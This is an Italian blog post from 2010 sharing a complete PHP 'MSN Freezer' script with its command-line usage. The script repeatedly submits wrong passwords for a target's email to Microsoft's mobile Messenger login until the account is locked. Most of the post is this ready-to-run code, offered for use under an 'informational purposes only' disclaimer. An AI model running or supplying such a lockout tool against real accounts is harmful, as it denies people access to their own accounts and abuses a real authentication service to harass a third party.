45

Mirko P
Idee, scripts e qualche stronzata nerd :-P

MSN Freezer in PHP

Al solo scopo informativo, oggi vi presento un “Msn Freezer” scritto da me in PHP.
Il procedimento per creare uno di questi script è molto semplice. In pratica basta scrivere un’applicazione che prova ad eseguire il login in continuazione con l’email dell’utente da “freddare” ed una password errata.
Io mi sono avvalso del login per telefoni cellulare di Microsoft messenger:

http://mobile.msn.com/hm/folder.phpx

Dopodiché ho scritto un ciclo che appunto tenta e ritenta il login finché non appare un errore che segnala che non è possibile tentare di nuovo l’accesso.
Eccovi il codice:


<?
function getUrl($url, $method='', $vars='') {
    $agents = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506; Media Center PC 5.0)";
    $ch = curl_init();
    if ($method == 'post') {
        curl_setopt($ch, CURLOPT_POST, 1);
        if($vars!=NULL) {
            $fields = array();
            foreach($vars as $k => $v) {
                $fields[] = "$k=$v";
            }
            curl_setopt($ch, CURLOPT_POSTFIELDS, implode("&", $fields));
        }
    }
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_USERAGENT,$agents);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_COOKIEJAR, '.muCookie');
    curl_setopt($ch, CURLOPT_COOKIEFILE, '.muCookie');
    $buffer = curl_exec($ch);
    curl_close($ch);
    return $buffer;
}
function getData($data) {
    $explode = explode("&",$data);
    $return = array();
    foreach($explode as $dato) {
        $exp = explode("=",$dato);
        $return[$exp[0]] = $exp[1];
    }
    return $return;
}
function freeze($email){
    $random = sha1(time().rand(10000,99999));
    $data = getData("__EVENTTARGET=&__EVENTARGUMENT=&LoginTextBox=$email&PasswordTextBox=$random&SavePasswordCheckBox=0&PasswordSubmit=Sign in");
    $i = 0;
    $a = 0;
    while(true){
        $regex1 = '<meta http-equiv="refresh" content="0;url=(.+?)"/>';
        $get = getUrl('http://mobile.msn.com/hm/folder.phpx');
        preg_match($regex1,$get,$matches);
        $getUrl = getUrl("https://mid.live.com".$matches[1],"post",$data);
        if(eregi('The sign-in information you entered is incorrect. Please try again.',$getUrl)){
            if($a==0){
                echo("Sto freddando...\n");
            }
            $a = 1;
        }else{
            if($i==0){
                echo("Freddato. Premi CTRL+C per fermarmi.\n");
            }
            $i = 1;
        }
    }
}
freeze($argv[1]);
?>

Tale script va eseguito da php-cli (quindi da linea di comando). La sua sintassi è la seguente

php freezer.php [email]

Alla prossima!
Mirko


Posted by Mirko on July 12th, 2010 :: Filed under Scripts PHP
Tags :: , , , , , , , , ,